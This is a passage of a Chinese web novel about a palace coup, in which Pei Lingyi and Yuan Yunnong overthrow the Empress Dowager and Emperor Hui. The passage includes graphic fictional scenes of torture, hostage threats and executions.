“你放心,这些我都清楚。”元韫浓点头。 两人沉默了片刻,元韫浓轻声道:“到了明日,千万小心。” “阿姊也该放心,我都明白。”裴令仪也轻声回应。 他抱紧了元韫浓,额头与元韫浓的额头相抵。 他道:“……纵死无悔。” 一夜未眠。 元韫浓也不知道自己是何时何地睡了过去,醒来时身边却依旧空了。 她抬手摸了摸身边,早已经冷透了。 只有自己枕着一片袍角,看衣料纹案是裴令仪衣衫的。 想来是裴令仪起来时不愿意打搅到她,惊了她睡梦,割断了袍角走的。 元韫浓闭了闭眼,再睁开眼睛,喊霜降和小满进来侍奉梳洗。 今日一切都很沉默,谁也没有多说什么。 元韫浓戴上了弯月耳坠,也挂上了圆月项链,最后又簪上了裴令仪送的凤钗。 霜降和小满领着一群侍女手脚麻利地侍奉好梳洗,元韫浓用了午膳后,就一直坐在窗边自己一个人下棋。 对着棋谱孤本上的棋局,元韫浓解了许久,在稍有思绪的时候,孙鹃纨来了。 已是夕阳西下。 “郡主,孙副将在外头等着了。”霜降来禀。 元韫浓点了点头,将手里的棋子丢回棋笥里,起身,“好。” 她往前走几步,走到门前时又停下,“霜降,你留下吧。” “郡主……”霜降上前一步。 元韫浓道:“小满跟我够了,若是兵败,总要留条后路。” “是。”霜降低头。 元韫浓带着小满接着往外走。 门外的孙鹃纨全副武装,等待已久,“郡主。” “孙副将今日看起来,真是英姿飒爽。”元韫浓还有闲情逸致夸了孙鹃纨一句。 孙鹃纨弯了弯唇,“多谢郡主夸奖了,今日也必然是我立功的时候,立大功——从龙之功。” “嗯,借你吉言了。”元韫浓含笑点了点头。 看孙鹃纨这模样,京华城之内,这一战是不成问题了。 重要的是接下来逼宫。 孙鹃纨伸手,“郡主请吧。” 元韫浓跟着她向外走去。 府门外是裴令仪领着黑压压的兵士静候。 天暗得太快,月朗星稀,夜色浓稠。 乌蓝的天空只有片块还残留着红白,静静俯视着长街里坊。 旌旗在夜风的吹拂中猎猎作响,火把熊熊燃烧,晃动的火焰照映在铠甲上,泛着寒光。 气氛肃杀。 裴令仪立在台阶下面,见他们出来,走上前来。 他在元韫浓面前停步,朝着元韫浓伸出手。 元彻回领南营军入中后,遭遇伏击,氏族坊市中到处都是横流的鲜血,一路顺着大街小巷,铺展到宫城。 京华城内凡事不参与的,无论是官员还是百姓,皆是胆战心惊,紧闭门户,连开个窗都不敢开,生怕惹事上身。 但凡有那么几个想要瞧一眼情况的,悄悄摸摸在纱窗上戳个小洞往外头望过去。 血也是河流,残肢断臂也是山脉。 那惨状看得人心有戚戚,险些吓破了胆,赶紧关上门窗。 元彻回险些不敌,加上父亲和妹妹的支援,再加上后续萧煜和裴九驰援,才算是险胜。 而裴令仪这边,是先去齐家白家清洗过后,去官宦府上抓了人。 元韫浓的目光从杀气腾腾、浑身血污的兵士们身上掠过,最后落在了同样浑身上下都是血迹的裴令仪身上。 她搭上了裴令仪的手。 裴令仪牵着她,扶她上了马车。 “阿姊要记得昨日里的话。”裴令仪轻声道。 在有人请之前,不要下车。 元韫浓只是道:“自己小心。” 第103章 杀尽九族 马车异常稳固,在火光之下寒光烁烁,犹如沉默潜伏的巨兽一般。 拉车的马也一看就是强悍的战马。 元韫浓坐在里头,甚至不记得是怎么进入宫门的。 只是时时刻刻都能看到外边的刀光剑影,听到不绝于耳的惨叫声。 她凝视着帘幕。 几乎是麻木不仁地,看着溅落在上面的鲜红血迹,斑斑点点滴滴,逐渐变得黯淡无光。 弓弩齐发,箭雨遮天蔽日。 哀嚎声未绝,元韫浓瞥见最前头有一个身影冲入敌阵,剑光如练,斩出一条血路。 下一刻,小满就彻底合上了车窗。 岐国公和元蕴英带着南营军,萧煜和裴九领裴军正与东营、北营两军厮杀。 元彻回则是率部曲和一小部分的南营军率先杀入宫中。 他的队伍作为先锋,死伤是最惨重的。 宫门前的禁军还未反应过来,宫门便在一阵震耳欲聋的轰鸣中轰然倒塌。 铁蹄声里,风雨骤至。 元彻回策马踏入宫门,雨水顺着他的面颊滑落,却浇不灭眼底的冷焰。 他的身后,兵士如黑潮般涌入,刀锋映着雷光,森然刺目。 “元氏谋逆!护驾——!”领头者嘶吼着拔剑,话音未落,一支羽箭已贯穿他的咽喉。 “走!取太后首级!”元彻回冷笑。 禁军早已埋伏在宫道两侧,箭矢如雨。 元彻回纵马疾驰,掠入敌阵,长剑所过之处,血雾喷溅。 “元彻回!你居然胆敢谋反,你们元氏——”一名将领刚冲出来,就被元彻回一剑斩首。 头颅滚落阶前,元彻回的马蹄踏过,溅起一片猩红。 宫门早已被攻破,尸首随处可见。 原本那些金碧辉煌的宫殿,此时已经被覆上了一层血红。 喊杀声四起,响彻云霄,连宫殿都似乎在震颤。 太后环顾周遭,几乎不敢相信。 跟在自己身边的禁军竟已经只剩下数千残兵,里头有不少还是负伤的。 这些士兵阵列在大殿之前,卫护着中间的他们。 而她听说东营军和北营军跟南营军、裴军的交锋,也是落了下风。 支持她的官宦如今都在这里了,他们战战兢兢缩在一块,看着已经逼到殿前的元彻回他们,心里揣测着是否还有一战之力。 有不少中立的官员也在这里了,包括惠帝的后妃和子嗣,都在这里。 除却慕湖舟,甚至于慕载物和慕水妃也在里头。 慕载物此刻是缩在最后边,一句话也不敢说。 丞相只觉浑身冰寒,满心惨淡。 如此措手不及的伏击,宫里宫外整整两道,元彻回他们居然还硬生生扛下来了,还靠着一路拼杀,竟然惨胜一筹到了殿前。 另一半又步入下风。 最重要的是,裴令仪那里还没有消息,既然没有出现,说明他们还有一队是前来驰援的。 两边兵力悬殊至此,裴令仪他们居然还能到这一步? 但越是这时候,就越不能露怯。 他们就该赌裴令仪没来这里,就该赌派去岐国公府抓元韫浓的人能成功。 双方对峙,众人精神紧绷,紧张地严阵以待,无一人敢发出半点声音,只有风雨声依旧。 终于远处的声音打破了僵局,声音逐渐清晰了起来。 远处的喊杀声此起彼伏,兵戈撞击,战马嘶鸣,隔得太远,怒吼惨嚎声听起来有些失真了。 但那声音却越来越近了,两边都出现了一阵骚动,谁也不知道是谁的援军。 元彻回与太后他们都齐齐朝着宫门方向看去。 在远远看见在风雨苍茫的夜色里飘摇的元氏旗帜时,元彻回爆发出一阵大笑,畅快淋漓地笑了起来。 然而与之相对的,是太后的脸色骤然变得铁青。 见了太后他们的面如菜色,元彻回笑得更开怀了,“哈哈哈哈哈!” “救兵……你们该不是以为你们的救兵来了吧!哈哈哈哈哈!”元彻回扬声大笑起来,“还以为是勤王之师呢?哈哈哈!没想到来的是索命恶鬼吧?” 裴令仪骑着乌骓马而来,鸦青发束在风里挣开半幅,掠过苍白的侧脸时,恍惚有夜枭振翅的虚影。 玄色披风在风雨里猎猎翻涌,恍若倾覆的天幕。 所有人都看向了他。 裴令仪带的队全是亲卫和一小部分裴军,是人数最少的,但此刻汇入元彻回带的队伍,黑压压如潮水一般,阵列在殿前,极具压迫感。 太后看着裴令仪,心底骤然蔓延开一片无法言说的恐惧。 在众人惶恐不安的目光中,裴令仪却只是勒马站定,异常平静地看向了众人,淡淡道:“真是热闹啊。” 太后极力克制自己的牙不要打战,死死咬着牙问:“你既然来到这里,是不是白家和徐家已经败了?” “他们的确也撑不了多久了,但与其有这闲心关注别家,太后娘娘和丞相倒不如先关心关心自己家里头吧。”裴令仪微笑。 “你什么意思?”丞相敏锐地觉察到了什么,惶恐起来。 他们既然能想到去拿元韫浓做人质,裴令仪怎么会想不到? 裴令仪却柔声道:“急什么啊?相见自然就能见到了。” 孙鹃纨示意下属拎着齐家人的妻儿,还有在场的官宦家里头的亲族,全部推了上来。 “裴清都!”丞相目眦欲裂,“你放了他们!” 那些官宦一下子骚乱起来,纷纷哭嚎不止,连哭带骂:“孩子!我的孩子!” “夫人!你怎么在这里?” “爹!娘!” “裴清都!你不得好死!” “裴令仪你这么做,就不怕遭报应吗?” “饶了他们吧!他们什么都不知情啊!千错万错都是我一个人的错!” 太后也状若疯癫,“裴清都,祸不及家人,你抓了我们亲眷,算是什么意思!” “祸不及家人?”裴令仪重复着念了一遍,嗤笑出声,“你们去抓阿姊的时候,怎么就不念着祸不及家人了?做人怎么能这样呢?只许州官放火,不许百姓点灯啊?” 什么意思?裴令仪发现那些人了吗?这么说来,盼着他们后方空虚抓来元韫浓扭转战局是不成了。 丞相顿时心如死灰,裴令仪发觉了以后就意味着这一切都结束了。 唯一可能扭转战局的元韫浓没有抓到,如此局面,便是无力回天了。 无论到时候裴令仪再怎么惨胜,也是能赢下这一局的。 “元应怜……”太后惊愕地看着裴令仪,继而恨恨咬牙道,“你们两个,一个前朝余孽,一个不该出生的孽障……” 太后的话生生止住了,她惊惧地看着孙鹃纨拉开弓对准了她。 “太后娘娘,有些话还是不说的为妙。”孙鹃纨笑。 裴令仪道:“诸位大人,要想妻儿亲族活命,还有一个法子。” 众人顿时激动起来,期期艾艾地看向了裴令仪。 “把什么知道的都吐出来,说得我满意,我便放人。”裴令仪笑了一下。 众人面面相觑,不知道裴令仪想听些什么。 裴令仪好心地提醒了他们一下:“你们设计的阿姊,有参与的,有出谋划策的,都说出来。” 元彻回也好心地给他们翻译了一下:“意思就是说,你们参与了这回跟太后娘娘一块起病的,或者是参与了抓应怜为质的,最好现在就全都说出来说明白。” 这反倒是激起了他们的怒火,“元彻回!你别忘了,你也是世家子弟!你是我们这头的!” “你也是慕南氏族,唇亡齿寒,若是他们想要拔除慕南旧势力,宰了我们,难道会让你们元家独善其身,一家独大吗?” “你这条走狗!我早该知道,你们元家早已经成了裴雍鹰犬!如今要反戈相向,来对我们下毒手了是吗?” 元彻回面无表情,没有丝毫动摇,“我们在边疆洒尽血汗,你们却在背后谋算着害我元氏的时候,可曾想过半分今日吗?” 裴令仪咬字清晰地问:“谁是同谋?自己站出来。” 一时间寂静无声,无人应答。 “今日在座诸位,非我之仇敌,便是元氏仇敌。”裴令仪轻笑一声,“既然无人站出来,那我便自己来找了。” 他指了其中一人,道:“带出来。” 他身后的亲卫立即把人拖到面前。 裴令仪道:“你给岐国公府上一管事黄金二十两,是用来做什么的?” “我、我见他管事麻利,想他来为我家做事……”他目光游移。 裴令仪嗤笑一声:“砍下他的手。” 亲卫上前,手起刀落,人手分离。 那人惨叫连连,在地上不断地扑腾扭曲,嚎叫起来。 其余人冷汗津津,不敢言语。 更有甚者不断地往后索取,生怕裴令仪阎王点卯,下一个就轮到自己。 裴令仪却面不改色,“另一只手。” 亲卫手腕一翻,刀刃高举,那人立刻哆嗦着大喊:“我招!我招!我招了!我是去买通他今日偷放人进后门的!” 他或许是情绪崩溃,一下子就把什么事都说了:“太后他们就是想要趁你们后备空虚,抓了朝荣郡主来逼你们退兵,就算不退也能拉个陪葬的!” “如果真的退兵了,你们会放过应怜吗?”元彻回面色阴沉地问道。 他忘不了最近的那个梦里,他们就是抓了元韫浓为人质,来逼迫他们退兵。 裴氏不甘于前功尽弃,裴令仪力排众议退兵,只求他们放过元韫浓。 只是退兵到一半,城墙之上就悬挂了他妹妹的首级。 怎么能忘? 怎么能忍? 怎么可以揭过? 以至于多少次他都不敢跟元韫浓对视,他太久不敢直视元韫浓的双眼了。 “啊啊啊!”那个人只是抱着断了的手来回翻滚,涕泪齐下,“不会!不会!他们不会放过朝荣郡主的!他们早说了要叫所有人都看见朝荣郡主的首级!放过我!放过我吧!我什么都说了!” 一时间无人敢言,一片鸦雀无声。 凄风冷雨噼里啪啦地砸在脸上,托举的火把燃烧着,却在风雨里摇曳不定,忽明忽灭,偶尔“噼啪”一声炸裂火花。 忽明忽暗的光映照在裴令仪的侧脸上,深邃眉眼留下的翳影显得阴鸷。 分明要被处决的那个人不是自己,但是那些人看着裴令仪的表情,莫名就觉得胆寒,一颗心高高悬起。 “杀了。”裴令仪吐露两个字。 亲卫这一回举刀,是人首分离。 不少官员是文官,没有接触过腥风血雨,如今见识了如此惨烈的模样,当下就有人忍不住呕吐。 裴令仪又指了一个人,“你,今日去岐国公府做什么?” “冤枉啊!”这人见证了前一位的惨状,哪里还敢有什么傲气。 说实话不行,必死无疑。不说实话,被裴令仪查出来更惨。 他瑟瑟发抖,牙关直打颤,“我、我是见元氏麾下日益壮大,唯恐太后战败,他日是裴元两姓在朝中当道,就想着多留条后路,前去往来……” “的确,你没做别的什么事情,只是去岐国公府正常往来。”裴令仪点头。 还没等那人松口气,他便话锋一转,“但你的时候太巧了,故意转移守卫注意力,好叫后门潜入之人有机可乘。” 这人顿时面色青白,怎么也没想到裴令仪居然查到了这种程度。 他立刻跪地求饶,在地上砰砰砰地直磕头,“饶命!饶命啊!清河王饶命!是我贱!是我鬼迷心窍!我再也不敢了!” 只是众人都不为所动。 孙鹃纨甚至还回头去看了一眼裴令仪的表情,脸上看不出心情。 喜怒不形于色,但孙鹃纨却感受到了一股凉意。 裴令仪平静道:“割了他的舌头。” 亲卫便上前,一把掐住这人的下巴,刀尖剜下一挑,原本凄厉的挣扎与惨叫瞬间就变成了呕哑嘲哳的嘶鸣声。 元彻回冷声问道:“还有谁?识相点的,就自己站出来。” 依然无人敢出头,就算是死,也不想死在别人前头。 裴令仪道:“你们最好快些,孤耐心有限。迟一刻,我便杀一个你们的家眷。” 顺应他的话,他身后的亲卫将那些家眷往前推了一把。 原本一直在哭泣的家眷们顿时一片哭闹,相当混乱。 裴令仪却视若无睹。 他道:“先杀族人,再杀妻妾,后杀父母,最后杀儿女。你们最好想清楚,你们的九族够你们嘴硬到什么时候。” 第104章 此局终了 裴令仪的这一番话,让原先还都噤若寒蝉的人群登时喧哗噪杂了起来。 重压之下,有人敢怒不敢言地小声愤慨道:“裴清都!你简直枉为人子!” “枉为人子?”裴令仪轻嗤一声,“孤为人子几年,孤家寡人又几年?又是拜谁所赐,事到如今,你们倒是提起枉为人子了?” 众人一时间哑然,倒是无法反驳了。 裴令仪嘲弄地勾起唇角,“你们能拿阿姊要挟我,我就不得拿家眷威胁你们?” 有人小声道:“既如此,冤冤相报何时了?为何不能适可而止呢?” “要不要孤派人将太后佛堂里头的佛像搬下来,换你坐上去?真把孤当成以德报怨的圣人了?”裴令仪道。 “一息,一人。”他一字一顿地说道,杀意毕露,“九族,杀光为止。” 当下就有几人瘫坐在地上,满脸绝望。 这下可好了,不是自己死就是九族死。 九族倒成了他们自己的续命丸了。 元彻回掂量了一下手里的剑,扬眉道:“来吧,让我来瞧瞧,你们的九族够你们活几息的。” 裴令仪轻描淡写道:“便拿齐家的先开刀吧。” “正有此意。”元彻回相当赞同。 “你们敢!”太后怒极。 元彻回反倒挑衅道:“怎么不敢?莫不是太后深明大义,乐意替子侄而死?” 雨水混着血水,顺着青石板的缝隙汩汩流淌,在低洼处汇成一个个小小的血潭。 尸体堆积如山,血水在地上漫流。 这场屠戮终于差不多迎来了结尾,幸存的几名太后党羽已经是被吓破了胆,中立的官员们也大气都不敢出一下。 众人不知道在雨里站了多久。 裴令仪道:“去请阿姊下来。” 孙鹃纨收了弓,轻快地在众人惊异的眼神下,跑到那辆铜墙铁壁的马车边上。 “郡主请下车吧。”她喊道。 车门被打开,元韫浓卓立车上,凤钗金篦斜斜地簪住浓发。 似是千万朵花窜上枝头,满枝红似霞。 她衣着光鲜,倒不像是来宫变的,而是来赶赴宫宴的。 小满给元韫浓撑着伞,孙鹃纨扶着元韫浓下了车。 太后他们咬紧了牙关,想过裴令仪重兵把守,严防死守不让人抓走元韫浓。 没想过裴令仪那一直护在中心的马车里,坐着的就是元韫浓。 还真是费尽心思,绞尽脑汁。 生怕元韫浓离了他视线,出什么事似的。 元韫浓的出现又点燃了他们的怒火。 太后尖锐道:“你怎么敢?你怎么敢的元应怜!你跟元彻回他们不一样,他们到底是臣!只是勋贵!而你身为郡主,身为陛下亲封的郡主,你身上流着皇族的血,流着慕南的血!你怎么敢这种时候落井下石?!” 元韫浓冷笑:“我们元氏冲锋陷阵,平叛、御敌,一次又一次!是因为你们在苛政先,昏庸在后,不仅如此还在背后耍诈。” “你们想杀我,想抓我去要挟我父兄要挟清都的时候,你们逼杀我母亲的时候,又可曾想过,我身上也流淌着慕南的血?”她冷声质问。 又如何去驳斥一个事实。 元韫浓缓步踏上玉阶,走过那一片血泊,靴底黏着未干的血,每走一步,便在汉白玉上印下一道猩红足迹。 近在咫尺。 太后死死掐着掌心,面上却强作镇定:“元应怜,无论如何,哀家都是你的皇祖母!你此举,是为弑亲!” “太后娘娘都能杀了名义上的女儿,还想着杀外孙女,杀孙儿,我怎么就不能学学太后呢?”元韫浓轻笑一声。 元彻回拖出个浑身是血的人,丢在太后面前。 “娘娘……救救我……救我啊,我不想死啊!”那个人哀嚎着去抓太后的裙裾。 太后瞳孔骤缩。 元彻回的剑尖挑起那个人的下颌,“太后可还记得此人?” 一旁装聋作哑的丞相突然间扑了过去,又被裴令仪的亲卫架开。 丞相痛骂裴令仪:“裴清都!你不得好死!有什么冲我来,跟我儿又有何干?” 这是丞相的长子,太后的侄儿。 “这是丞相之子,太后子侄啊。”元韫浓笑道,“那就是齐氏来日的希望了,我听闻丞相子嗣单薄,家里就这么一个独子啊。” “你到底想做什么!”丞相双目赤红。 元韫浓挑眉,“太后娘娘不是自诩可以为了齐家牺牲一切吗?那可否舍弃自己的性命呢?” “阿姊好主意。”裴令仪在后边不紧不慢道,“让太后自己选吧,选家族还是选自己。” “哐当”,元彻回随手丢了一把剑在几人面前。 太后猛地站了起来,“哀家是太后!你们竟敢——” “噗嗤——”一声。 长剑贯穿胸口,太后踉跄后退,不可置信地低头,看着心口汩汩涌出的鲜血。 元韫浓微笑凑近她耳畔,轻声道:“看来这一剑,是丞相替我阿娘还了。” 太后僵硬地转过头,发现身后捅出那一剑的人,居然是丞相。 太后仍用那种不可置信的惊惧眼神看着丞相,直至摇晃着倒下。 丞相却没有和她对视,也没有再去看一眼太后外倒在地上时不时抽搐一下的躯体。 丞相双手捧着那把方才那边弑亲的剑,跪了下来,“太后包藏祸心,此等悖逆之举是其个人所为,与我齐氏上下绝无干系,我齐氏断不敢与其同流。今我齐氏与太后割席,从族谱之上去其名。” “好一个大义灭亲,断尾求生,真是令孤大开眼界。”裴令仪不紧不慢地拍了拍手。 “我齐氏愿为清河王肝脑涂地,还请清河王恕我等先前慢待之罪!清河王民心所向,还请清河王即刻登基!”丞相高声喊道。 孙鹃纨都恨不得为丞相的识时务而击节赞叹,她很少看见如此厚颜无耻之人了。 裴令仪望向了元韫浓,“阿姊觉得呢?” 元韫浓居高临下地瞥了一眼丞相,转身离去。 她轻飘飘的声音传来:“杀了吧。” 裴令仪抬了一下手,亲卫们围剿而上。 慕载物惊叫起来,一改往日的神气,抱头鼠窜,很快就被乱刀砍死。 慕水妃目睹自己的皇祖母和兄弟死在眼前,惊魂未定,就被孙鹃纨拉着往旁走去。 “快些走吧,淑慎公主。”孙鹃纨捞走了唯一一个算得上是自己这边的人。 慕水妃仓皇地问道:“韫浓呢?令仪和韫浓去哪?” 孙鹃纨一阵无语,把慕水妃丢到亲卫堆里头,确保她安全。 “不是我说啊,淑慎公主,人家是去谋反杀你亲爹的,你去掺和一脚也不大好吧?最重要的是,无论你是去干嘛的,去了也没有用吧?你肩不能挑手不能提的。”孙鹃纨语重心长地劝她。 “我要去。”慕水妃却固执道。 孙鹃纨更无语了。 他们但凡是沾了慕南和裴雍血的,都是犟种是吧? 行,劝也劝不过了。 孙鹃纨一把提起了慕水妃,朝着宣政殿而去。 宣政殿上的除了惠帝,都是些相比起极具威胁的太后党外势单力薄的保皇党。 保皇党原先就不成气候,因为惠帝本身就不成器又昏庸,全靠岐国公府撑着。 如今岐国公府倒戈,剩下的也就是一些迂腐的老顽固。 尤其是一些史官和言官。 裴令仪和元韫浓走入殿门时,惠帝正坐在龙椅上,双目浑浊。 他僵硬地坐直了身子,眼神有些恍惚,“皇姐,你怎么来了?” 元韫浓神色阴郁。 惠帝像是又回过了神,目光变得惊惧起来,“你们……你们!这是谋反!” “是又如何呢?”元韫浓平静道,“难道还君让臣死,臣不得不死吗?” 惠帝瘫在龙椅上,面色惨白如纸:“你们……要弑君?” 裴令仪没有回答,只是提着剑,一步一步迈上阶梯。 惠帝看着不断逼近的裴令仪,不停往后缩去,想要逃却连站起来都无法做到。 他只能看向裴令仪身后的元韫浓,大喊起来:“朝荣!朝荣!救救朕!朕、朕是你的舅父啊!朕同你的母亲一母同胞,皇姐在九泉之下也绝不会想看到朕的!” 元韫浓只是面无表情地注视着他。 她甚至懒得揭穿惠帝的懦弱与虚伪,至于这些话,惠帝还是留着跟她母亲去说吧。 此时孙鹃纨拉着慕水妃过来了,在满室瑟瑟发抖的保皇派和一身肃杀的亲卫之中,慕水妃的到来显得突兀。 “水妃!水妃!”惠帝却一下子激动地坐了起来,“朕的好女儿,你快救救父皇!” 他像是抓住了救命稻草一样嘶喊起来。 慕水妃有些悲哀地看着他:“父皇,你荒政怠权,使社稷蒙尘。居九五之尊而废朝纲之重,政务尽委。这帝王之位,早不该是你做了。” 因为她亲眼见过奏章积案盈箱,流民疏折不阅,边疆战报不闻,致朝纲紊乱,法度崩坏,无人收拾。 也见过惠帝横征暴敛,万民倒悬。为填私欲广设苛捐杂税,田赋三倍于前,更以军需、河工为名巧立名目。 百姓春无种粮,冬无蔽衣,卖儿鬻女者络绎于途,饿殍横陈于野,哀鸿之声彻于四野。 更是见过惠帝迷信方术,为求长生不老之术不择手段。 “你大胆!”惠帝没想到向来温和柔顺的女儿居然能说出这样的话,他愤怒道,“朕是天子,是你的君父!” “你正是借着这样的名义,残害忠良,草菅人命那么久的。”慕水妃失望道,“庄铭之事也是这样。” 她道:“外敌来犯,不思抵御而卑躬屈膝,尊严尽失。你让无辜者去送死,才会导致后面他的弟弟庄且叛乱。走到今天这一步,全是你自己的错。” 惠帝这时才感到了害怕,他意识到没人能救他了。 太后已死,就连慕水妃这个一向顺和的女儿都说出来了这样的话。 “水妃!水妃!”他连忙喊道,“朕错了,朕会改的,你跟朝荣关系一向不错,你去求她,让她跟裴令仪说情!朕以后会做个好皇帝的!” 慕水妃看着跪在地上哭着哀求的惠帝,闭上了眼睛。 “水妃姐姐。”元韫浓喊她。 她又看向了元韫浓,元韫浓对她摇头,“此事你不要插手。” 慕水妃张了张嘴,在裴令仪举剑时说道:“令仪,我恳求你留他全尸。无论如何,他都是我的父亲。” 慕水妃说出这句话和时候,孙鹃纨就已经有了种预感。 在裴令仪朝她这瞥过来一样的时候,孙鹃纨就更加笃定了。 孙鹃纨依照裴令仪那一眼的意思,捂住了元韫浓的眼睛。 裴令仪沉默了片刻,然后勾起一抹冷嘲的笑,“好啊。” 慕水妃稍稍松了口气,但下一刻如瀑般喷涌而出的鲜血染红了众人的视线。 一颗呈现惊恐状的头颅飞跃着骤然落下,在保皇派惊骇的尖叫声里,骨碌碌地滚过他们眼前,滚到了裴令仪脚边。 狰狞可怖到能做十几宿噩梦的程度。 那些言官和史官哪里见过这般血腥残暴的场面,强忍着胃里的翻涌反复才没有当场吐出来。 有甚者恰好跟惠帝直直睁着的眼睛对视上,直接两眼一翻吓晕过去。 慕水妃浑身都在发抖,也不知道是气的还是怕的。 “你……”她倒是比这些官员好上不少,至少没有失态。 裴令仪依然波澜不惊,随意一脚将脚边的头颅踢到一边。 亲卫立即上前处理好场面。 孙鹃纨这才松开了捂住元韫浓双眼的手,松了口气。 她又有些可怜裴令仪了,所有人都在无视裴令仪的疼痛和苦难,忽略裴令仪经历过的食不果腹、衣不蔽体的曾经,被当成野狗一样对待的过去。 即使是裴令仪握着剑以恐惧扼住那些人的喉管时,那些人依然会下意识地轻视裴令仪。 就像刚刚那样,慕水妃让裴令仪留惠帝全尸,也是变相地忽视了裴令仪曾经的苦难。 此局终了。 裴令仪反手收起剑,甩去剑锋上的血珠。 他望向了元韫浓,脸上沾着血。 身上也是血,还都被雨水浇打透彻了。 偏偏这样,他看着还像是一只被雨淋湿的小狗一样可怜。 “阿姊……”他哑声喊道。 第105章 卸磨杀驴了? 慕水妃也看向了元韫浓,她看着元韫浓朝着裴令仪迈出了一步,“韫浓。” 元韫浓停顿了一下,回头看她。 “你真的想好了吗?韫浓。”慕水妃问。 她看向伫立在原地,被血污覆盖的裴令仪,“我依然觉得令仪并非良人,我曾经提醒过他别离你太近,但是这些年来事与愿违。重要的是你,你是这么想的?你真的愿意吗?” 元韫浓也看向了裴令仪。 裴令仪站在原地,攥紧了掌心,眼尾泛着薄红,透出几分脆弱的湿润感。 他没有说话,也在等待元韫浓的答案。 他的性子确实不讨喜,更是均匀地将怨恨分配给了每一个人,恨意和恶意是他活下去的唯一动力。 只有他的阿姊,是他最爱的。 “我也算实非良人,所以我和他才该彼此纠缠。”元韫浓轻声道。 裴令仪的睫毛轻轻颤了一下,仿佛有千万只蝴蝶展开翅膀掠过,最终什么也不剩下。 慕水妃轻叹一声:“如果你想好了,那我祝愿你能永远快活,永远都是自己。” 元韫浓朝裴令仪走去了。 她缓步走向裴令仪,裴令仪拉着她到龙椅前,按着她肩膀坐下。 指尖抚过冰凉的鎏金扶手,她抬眸望向殿外。 风雨已歇,东方泛起鱼肚白。 新朝的曙光,终将刺破这血色长夜。 “阿姊。”裴令仪低笑着,单膝跪地,却将染血的剑横在了她颈间。 她垂下眼睑瞥了一眼近在咫尺的刀刃,也弯起了唇,“做什么?万里天梯如今功成第一步,就是卸磨杀驴了?” 她越过裴令仪的肩膀往殿门口望去,隐约能看见一闪而过的衣角,还有殿外等候的那些亲卫模糊的面容。 这戏还没演完呢,这事还没结束。 裴令仪道:“怎么会呢?我只是向阿姊献剑。” 他手腕翻转,双手捧着剑高举过头顶,低下头颅。 元韫浓接过了那把剑,将剑架在裴令仪的肩膀上。 距离裴令仪的侧颈只有一步之遥,像是赐福也像是警告。 裴令仪仰起脸,望向元韫浓,“往后所有生杀予夺,全凭阿姊。” “剑我接下了。”元韫浓笑。 裴令仪转头看向孙鹃纨,“带阿姊先去歇会。” 还有很多事情要处理,另一边的岐国公那边估计还没打完呢,还有慕湖舟那边也得解决。 但是他们无论如何也不会改变到结果了。 孙鹃纨走到元韫浓身边,“郡主,我们走吧。” 元韫浓点头,对裴令仪道:“你记得你答应过我的事情,要留表哥性命。” 裴令仪默了默,颔首。 元韫浓的视线扫过几个面露不满的亲卫,又轻飘飘地收回了目光,接着往前走。 元韫浓被一群人护送着走过长廊,这条长廊不似从前那般美景繁丽。 淫雨霏霏,时落时停。 日光浸透朱漆长廊,元韫浓踩着地上破碎的鎏金瓦当,粉白花瓣却落满青苔斑驳的石阶,暗香里混着焦木余烬的苦涩。 廊下悬着的宫灯只剩半截残穗,护送的侍卫甲胄碰撞声惊起梁间燕雀,扑棱棱振翅掠过藻井。 孙鹃纨在元韫浓身后小心观察着她的表情,在元韫浓身边,这个伴君如伴虎的感觉可比在裴令仪身边强多了。 但她欣赏元韫浓身上的烂漫残忍,残忍的美人总是如此迷人。 元韫浓看出她的疑虑,问道:“你是不是在想,我在宣政殿上在做什么?清都又是在演哪一出?” 孙鹃纨愣了愣,没有反驳。 她本以为在一切结束之后会是如何的浓情蜜意,但裴令仪跪在地上,却把剑横在元韫浓的颈间。 元韫浓那一番疑问之后,裴令仪又把剑献给了元韫浓。 在旁人看来,这就像是裴令仪对元韫浓起了杀心,但最终还是放弃了,甘于沦为人臣。 而元韫浓在觉察到裴令仪的杀心后,那把剑悬在裴令仪的肩膀上,是警告也是上位者的赐福姿态。 至少是从别人眼里看起来,是这样的。 但孙鹃纨并不觉得裴令仪会对元韫浓起杀心。 况且元韫浓的心情看起来,并不坏的样子。 “清都喜好音律,对戏曲也喜爱。”元韫浓像是跳到了另一个话题。 她的目光忽远,“他最喜欢听的是《霸王别姬》,总喜欢把自己当成虞姬,把我当成霸王。” 这孙鹃纨还确实不知道了,但是仔细想想,裴令仪在某种意义上比元韫浓伤春悲秋、多愁善感多了。 裴令仪非常如履薄冰,他总在惶恐不安,害怕失去。 “多亏了他总在风声鹤唳,草木皆兵,才能提前觉察到很多东西。”元韫浓笑了笑,“因为他总是在为我计深远。” 孙鹃纨看着风掠起元韫浓鬓边的发丝,她也没有回头。 她说:“有不少人对我很不满吧?” 孙鹃纨微微一怔。 从裴令仪僚属们的视角来看,元韫浓简直就是祸水。 让裴令仪几次受伤,还闹得鸡犬不宁,让裴令仪跟中了邪一样魂不守舍,之前一个劲拼那碎玉。 后面又是烧了清河王府,让裴令仪不顾自己的伤赶着回京。 刚才裴令仪献剑的所作所为,会让他们更加确定,不能留元韫浓了。 再不除掉元韫浓,元韫浓迟早会威胁到裴令仪。 所以裴令仪执意带元韫浓入宫,不只是怕外人趁虚而入抓元韫浓为质,更是怕他的部属亲卫等趁他逼宫分身乏术时,除掉元韫浓。 千防万防,家贼难防。 这是一把悬在头顶上的剑,迟早会落下,对元韫浓不利。 心腹之患,还是尽快解决掉的好。 这次就是一个很好的时机,对于裴令仪来说是如此,对于那些蠢蠢欲动的人来说更是如此。 趁着裴令仪逼宫时杀了元韫浓,嫁祸给太后党,刚好太后党也有这个心思,要是太后党能直接杀了元韫浓那就更好了。 等到裴令仪登基,新皇登基,要处理的事情可以堆积成山。 忙碌和岁月可以抚平这个年轻的帝王的怒火和伤痛,为了开枝散叶,不会有一个帝王不广纳后宫。 九五之尊,有那么多的美人,什么样的都有,再过上个几年,年少时的白月光说不定早就淡忘了。 就算不忘记也没关系,找几个跟元韫浓相似的女子塞进后宫里,总能抚慰君心的。 原来是这样。 所以裴令仪和元韫浓演的这一出戏,就是为了引蛇出洞吗? 孙鹃纨双眼微眯,压低了声音问:“是谁有这样的胆子?” “不知道。”元韫浓平淡道,“但是他们不会错失这个绝佳的机会的,过了这个村,可就没这个店了。” 孙鹃纨定下心神。 她又想起来了什么,趣味十足地道:“郡主可知道方才殿下的表现?郡主还坐在这里的时候。” 元韫浓看她如此兴奋,便问:“什么?说来听听。” 